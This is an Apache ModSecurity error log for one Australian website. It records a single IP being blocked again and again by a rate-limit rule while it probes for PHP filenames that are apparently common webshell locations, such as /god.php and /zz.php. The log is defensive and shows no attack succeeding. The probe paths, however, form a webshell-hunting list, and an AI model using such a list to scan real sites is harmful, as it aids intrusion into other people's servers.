[Sat Feb 28 10:50:17.336761 2026] [:error] [pid 52460:tid 52472] [client 158.158.96.194:51269] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/e.php"] [unique_id "aaJX6bLWOogAgHGh62SjMwAAAYk"]
[Sat Feb 28 10:50:18.281710 2026] [:error] [pid 52460:tid 52466] [client 158.158.96.194:58886] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/forbidals.php"] [unique_id "aaJX6rLWOogAgHGh62SjOQAAAYM"]
[Sat Feb 28 10:50:19.487128 2026] [:error] [pid 52460:tid 52476] [client 158.158.96.194:5315] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/forbidals.php"] [unique_id "aaJX67LWOogAgHGh62SjQAAAAY0"]
[Sat Feb 28 10:50:20.185648 2026] [:error] [pid 52460:tid 52472] [client 158.158.96.194:47378] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/forbidals.php"] [unique_id "aaJX7LLWOogAgHGh62SjRAAAAYk"]
[Sat Feb 28 10:50:21.166375 2026] [:error] [pid 39292:tid 39314] [client 158.158.96.194:35331] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/forbidals.php"] [unique_id "aaJX7aIAO5fN7BxyqcGeyAAAANQ"]
[Sat Feb 28 10:50:21.882468 2026] [:error] [pid 39185:tid 39259] [client 158.158.96.194:7593] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/X7x.php"] [unique_id "aaJX7RVE-FfM89u7BQZPrwAAAI0"]
[Sat Feb 28 10:50:23.054905 2026] [:error] [pid 11791:tid 11810] [client 158.158.96.194:50617] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/X7x.php"] [unique_id "aaJX72uX5e1Q32gqxH3O1gAAARE"]
[Sat Feb 28 10:50:23.869580 2026] [:error] [pid 39185:tid 39246] [client 158.158.96.194:43689] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/X7x.php"] [unique_id "aaJX7xVE-FfM89u7BQZPtQAAAIA"]
[Sat Feb 28 10:50:24.682167 2026] [:error] [pid 39185:tid 39247] [client 158.158.96.194:5775] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/X7x.php"] [unique_id "aaJX8BVE-FfM89u7BQZPvQAAAIE"]
[Sat Feb 28 10:50:25.515089 2026] [:error] [pid 39185:tid 39268] [client 158.158.96.194:58881] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccou.php"] [unique_id "aaJX8RVE-FfM89u7BQZPxwAAAJY"]
[Sat Feb 28 10:50:26.288508 2026] [:error] [pid 39292:tid 39313] [client 158.158.96.194:48487] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccou.php"] [unique_id "aaJX8qIAO5fN7BxyqcGe1gAAANM"]
[Sat Feb 28 10:50:27.202308 2026] [:error] [pid 39185:tid 39270] [client 158.158.96.194:50596] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccou.php"] [unique_id "aaJX8xVE-FfM89u7BQZP0gAAAJg"]
[Sat Feb 28 10:50:28.231623 2026] [:error] [pid 22194:tid 22214] [client 158.158.96.194:49360] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccou.php"] [unique_id "aaJX9H6mbajs3bzQGysWegAAAVI"]
[Sat Feb 28 10:50:29.118150 2026] [:error] [pid 52460:tid 52467] [client 158.158.96.194:35369] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/get.php"] [unique_id "aaJX9bLWOogAgHGh62SjWgAAAYQ"]
[Sat Feb 28 10:50:30.728555 2026] [:error] [pid 39185:tid 39246] [client 158.158.96.194:49353] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/get.php"] [unique_id "aaJX9hVE-FfM89u7BQZP2wAAAIA"]
[Sat Feb 28 10:50:33.201625 2026] [:error] [pid 39292:tid 39304] [client 158.158.96.194:52425] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/get.php"] [unique_id "aaJX-aIAO5fN7BxyqcGe4QAAAMo"]
[Sat Feb 28 10:50:34.549905 2026] [:error] [pid 11791:tid 11795] [client 158.158.96.194:35368] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/get.php"] [unique_id "aaJX-muX5e1Q32gqxH3O6gAAAQI"]
[Sat Feb 28 10:50:35.214005 2026] [:error] [pid 11791:tid 11808] [client 158.158.96.194:5328] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/koiy.php"] [unique_id "aaJX-2uX5e1Q32gqxH3O7QAAAQ8"]
[Sat Feb 28 10:50:36.060108 2026] [:error] [pid 52460:tid 52468] [client 158.158.96.194:43698] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/koiy.php"] [unique_id "aaJX_LLWOogAgHGh62SjgAAAAYU"]
[Sat Feb 28 10:50:36.946177 2026] [:error] [pid 22194:tid 22197] [client 158.158.96.194:51232] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/koiy.php"] [unique_id "aaJX_H6mbajs3bzQGysWgwAAAUE"]
[Sat Feb 28 10:50:37.726631 2026] [:error] [pid 52460:tid 52481] [client 158.158.96.194:47404] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/koiy.php"] [unique_id "aaJX_bLWOogAgHGh62SjlAAAAZI"]
[Sat Feb 28 10:50:38.541694 2026] [:error] [pid 52460:tid 52470] [client 158.158.96.194:49399] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms.php"] [unique_id "aaJX_rLWOogAgHGh62SjnwAAAYc"]
[Sat Feb 28 10:50:39.398286 2026] [:error] [pid 39185:tid 39262] [client 158.158.96.194:49344] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms.php"] [unique_id "aaJX_xVE-FfM89u7BQZP-wAAAJA"]
[Sat Feb 28 10:50:40.542646 2026] [:error] [pid 22194:tid 22205] [client 158.158.96.194:65262] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms.php"] [unique_id "aaJYAH6mbajs3bzQGysWjQAAAUk"]
[Sat Feb 28 10:50:41.739730 2026] [:error] [pid 39185:tid 39268] [client 158.158.96.194:55562] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms.php"] [unique_id "aaJYARVE-FfM89u7BQZQCwAAAJY"]
[Sat Feb 28 10:50:43.125493 2026] [:error] [pid 52460:tid 52468] [client 158.158.96.194:65242] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugins.php"] [unique_id "aaJYA7LWOogAgHGh62SjtgAAAYU"]
[Sat Feb 28 10:50:43.867560 2026] [:error] [pid 22194:tid 22215] [client 158.158.96.194:35385] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugins.php"] [unique_id "aaJYA36mbajs3bzQGysWlQAAAVM"]
[Sat Feb 28 10:50:45.165988 2026] [:error] [pid 39185:tid 39249] [client 158.158.96.194:50606] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugins.php"] [unique_id "aaJYBRVE-FfM89u7BQZQHwAAAIM"]
[Sat Feb 28 10:50:45.929303 2026] [:error] [pid 11791:tid 11809] [client 158.158.96.194:51260] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugins.php"] [unique_id "aaJYBWuX5e1Q32gqxH3PFgAAARA"]
[Sat Feb 28 10:50:46.944497 2026] [:error] [pid 39185:tid 39257] [client 158.158.96.194:55610] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/raw.php"] [unique_id "aaJYBhVE-FfM89u7BQZQLgAAAIs"]
[Sat Feb 28 10:50:47.809127 2026] [:error] [pid 22194:tid 22213] [client 158.158.96.194:47365] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/raw.php"] [unique_id "aaJYB36mbajs3bzQGysWmQAAAVE"]
[Sat Feb 28 10:50:48.498136 2026] [:error] [pid 22194:tid 22219] [client 158.158.96.194:55606] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/raw.php"] [unique_id "aaJYCH6mbajs3bzQGysWnQAAAVc"]
[Sat Feb 28 10:50:56.518617 2026] [:error] [pid 22194:tid 22201] [client 158.158.96.194:50607] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "aaJYEH6mbajs3bzQGysWvQAAAUU"]
[Sat Feb 28 10:50:57.415331 2026] [:error] [pid 11791:tid 11806] [client 158.158.96.194:51256] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "aaJYEWuX5e1Q32gqxH3PJwAAAQ0"]
[Sat Feb 28 10:50:58.051481 2026] [:error] [pid 11791:tid 11813] [client 158.158.96.194:61205] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "aaJYEmuX5e1Q32gqxH3PKgAAARQ"]
[Sat Feb 28 10:50:59.182626 2026] [:error] [pid 52460:tid 52473] [client 158.158.96.194:48709] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "aaJYE7LWOogAgHGh62Sj6wAAAYo"]
[Sat Feb 28 10:50:59.807324 2026] [:error] [pid 52460:tid 52475] [client 158.158.96.194:60864] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aaJYE7LWOogAgHGh62Sj8wAAAYw"]
[Sat Feb 28 10:51:00.590210 2026] [:error] [pid 11791:tid 11804] [client 158.158.96.194:50958] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aaJYFGuX5e1Q32gqxH3PMAAAAQs"]
[Sat Feb 28 10:51:01.138401 2026] [:error] [pid 52460:tid 52473] [client 158.158.96.194:64822] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aaJYFbLWOogAgHGh62Sj-QAAAYo"]
[Sat Feb 28 10:51:01.796980 2026] [:error] [pid 39185:tid 39256] [client 158.158.96.194:64803] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aaJYFRVE-FfM89u7BQZQWwAAAIo"]
[Sat Feb 28 10:51:02.508418 2026] [:error] [pid 52460:tid 52480] [client 158.158.96.194:46179] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ocxla.php"] [unique_id "aaJYFrLWOogAgHGh62Sj_QAAAZE"]
[Sat Feb 28 10:51:03.116690 2026] [:error] [pid 39183:tid 39215] [client 158.158.96.194:41637] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ocxla.php"] [unique_id "aaJYFxCf4HvhVePw3LbQJQAAABc"]
[Sat Feb 28 10:51:03.711480 2026] [:error] [pid 39185:tid 39248] [client 158.158.96.194:54299] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ocxla.php"] [unique_id "aaJYFxVE-FfM89u7BQZQYAAAAII"]
[Sat Feb 28 10:51:04.280026 2026] [:error] [pid 39185:tid 39260] [client 158.158.96.194:64794] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ocxla.php"] [unique_id "aaJYGBVE-FfM89u7BQZQYQAAAI4"]
[Sat Feb 28 10:51:05.196142 2026] [:error] [pid 39292:tid 39313] [client 158.158.96.194:64830] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/god.php"] [unique_id "aaJYGaIAO5fN7BxyqcGfDAAAANM"]
[Sat Feb 28 10:51:05.907802 2026] [:error] [pid 11791:tid 11801] [client 158.158.96.194:20203] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/god.php"] [unique_id "aaJYGWuX5e1Q32gqxH3PNgAAAQg"]
[Sat Feb 28 10:51:06.852651 2026] [:error] [pid 52460:tid 52468] [client 158.158.96.194:58648] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/god.php"] [unique_id "aaJYGrLWOogAgHGh62SkFAAAAYU"]
[Sat Feb 28 10:51:07.462323 2026] [:error] [pid 11791:tid 11809] [client 158.158.96.194:54308] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/god.php"] [unique_id "aaJYG2uX5e1Q32gqxH3POgAAARA"]
[Sat Feb 28 10:51:08.269634 2026] [:error] [pid 52460:tid 52466] [client 158.158.96.194:56776] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "aaJYHLLWOogAgHGh62SkGwAAAYM"]
[Sat Feb 28 10:51:09.029133 2026] [:error] [pid 22194:tid 22206] [client 158.158.96.194:41606] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "aaJYHX6mbajs3bzQGysWwwAAAUo"]
[Sat Feb 28 10:51:09.807566 2026] [:error] [pid 39185:tid 39255] [client 158.158.96.194:44210] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "aaJYHRVE-FfM89u7BQZQcAAAAIk"]
[Sat Feb 28 10:51:10.545588 2026] [:error] [pid 39185:tid 39251] [client 158.158.96.194:56828] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "aaJYHhVE-FfM89u7BQZQdgAAAIU"]
[Sat Feb 28 10:51:11.197708 2026] [:error] [pid 39292:tid 39314] [client 158.158.96.194:55299] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zz.php"] [unique_id "aaJYH6IAO5fN7BxyqcGfDQAAANQ"]
[Sat Feb 28 10:51:12.846692 2026] [:error] [pid 22194:tid 22218] [client 158.158.96.194:51041] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zz.php"] [unique_id "aaJYIH6mbajs3bzQGysWxAAAAVY"]
[Sat Feb 28 10:51:13.556459 2026] [:error] [pid 11791:tid 11802] [client 158.158.96.194:44228] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zz.php"] [unique_id "aaJYIWuX5e1Q32gqxH3PSwAAAQk"]
[Sat Feb 28 10:51:14.462819 2026] [:error] [pid 52460:tid 52468] [client 158.158.96.194:10556] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zz.php"] [unique_id "aaJYIrLWOogAgHGh62SkMAAAAYU"]
